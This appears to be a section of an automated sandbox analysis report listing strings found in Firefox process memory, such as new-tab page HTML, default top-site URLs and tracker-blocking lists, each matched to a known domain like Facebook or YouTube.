Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEDeferredTask@resource://gre/modules/DeferredTask.sys.mjs:117:18 equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEDeferredTask@resource://gre/modules/DeferredTask.sys.mjs:117:18 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2481912376.0000027292816000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $key_openDownloadsdoff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon
Source: firefox.exe, 00000019.00000002.2481912376.0000027292816000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $key_openDownloadsdoff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://static.adsafeprotected.com/iasPET.1.js://pagead2.googlesyndication.com/tag/js/gpt.js*://cdn.optimizely.com/public/.js://connect.facebook.net//sdk.js*://connect.facebook.net//all.js://www.google-analytics.com/analytics.js://cdn.adsafeprotected.com/iasPET.1.js://.moatads.com//moatheader.js://js.maxmind.com/js/apis/geoip2//geoip2.js equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.rva311.com/static/js/main..chunk.jshttps://smartblock.firefox.etp/facebook.svg://web-assets.toggl.com/app/assets/scripts/.js://track.adform.net/serving/scripts/trackpoint/://trends.google.com/trends/embed* equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2481912376.0000027292816000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2492921640.00000272932BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2407614644.000002729B680000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2482727507.0000027292903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2492921640.00000272932BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2407614644.000002729B680000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2482727507.0000027292903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2528820121.000002729497A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Got invalid request to save JSON dataresource://devtools/shared/security/socket.jsFailed to execute WebChannel callback:WebChannel/this._originCheckCallback@mozilla.org/uriloader/handler-service;1@mozilla.org/network/protocol;1?name=file^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?browser.fixup.domainsuffixwhitelist.devtools/client/framework/devtoolsdevtools.performance.recording.ui-base-urlJSON Viewer's onSave failed in startPersistence@mozilla.org/network/protocol;1?name=defaultDevTools telemetry entry point failed: browser.urlbar.dnsResolveFullyQualifiedNamesget FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPget FIXUP_FLAGS_MAKE_ALTERNATE_URIdevtools.performance.popup.feature-flagdevtools.debugger.remote-websocketDevToolsStartup.jsm:handleDebuggerFlagresource://devtools/server/devtools-server.js@mozilla.org/dom/slow-script-debug;1{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}No callback set for this channel.browser.fixup.dns_first_for_single_words^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)Failed to listen. Listener already attached.^([a-z+.-]+:\/{0,3})*([^\/@]+@).+^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$Unable to start devtools server on releaseDistinctSystemPrincipalLoaderFailed to listen. Callback argument missing.devtools/client/framework/devtools-browserget FIXUP_FLAG_FORCE_ALTERNATE_URIresource://gre/modules/ExtHandlerService.sys.mjshandlerSvc fillHandlerInfo: don't know this typeresource://gre/modules/URIFixup.sys.mjsresource://gre/modules/FileUtils.sys.mjs_injectDefaultProtocolHandlersIfNeededhttp://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://www.inbox.lv/rfc2368/?value=%s{33d75835-722f-42c0-89cc-44f328e56a86}https://mail.inbox.lv/compose?to=%shttp://poczta.interia.pl/mh/?mailto=%sextractScheme/fixupChangedProtocol<resource://gre/modules/JSONFile.sys.mjshttps://poczta.interia.pl/mh/?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s_finalizeInternal/this._finalizePromise<@mozilla.org/uriloader/web-handler-app;1Can't invoke URIFixup in the content processisDownloadsImprovementsAlreadyMigrated@mozilla.org/uriloader/local-handler-app;1@mozilla.org/network/file-input-stream;1resource://gre/modules/JSONFile.sys.mjs@mozilla.org/uriloader/dbus-handler-app;1{c6cf88b7-452e-47eb-bdc9-86e3561648ef}resource://gre/modules/NetUtil.sys.mjshttps://mail.yahoo.co.jp/compose/?To=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sgecko.handlerService.defaultHandlersVersionresource://gre/modules/DeferredTask.sys.mjs_setUpMenulistPopup/</this._scrollTimer< equals www.yahoo.com (Yahoo)
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WebExtensionLangpackManifestWebExtensionDictionaryManifesthttps://www.google.com/searchnimbus-desktop-experiments^[a-z0-9-._]*@[a-z0-9-._]+$https://www.facebook.com/DEFAULT_REPLACEMENT_CHARACTERFirefoxSpecificPropertiesOptionalPermissionNoPrompt#kickOffAlternativeFrecencies equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2516262256.000002729480A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2516262256.000002729480A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2516262256.0000027294810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2481912376.0000027292816000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000019.00000002.2481912376.0000027292816000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://www.inbox.lv/rfc2368/?value=%s equals www.yahoo.com (Yahoo)
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2492921640.00000272932BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2407614644.000002729B680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2492921640.00000272932BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2407614644.000002729B680000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2482727507.0000027292903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
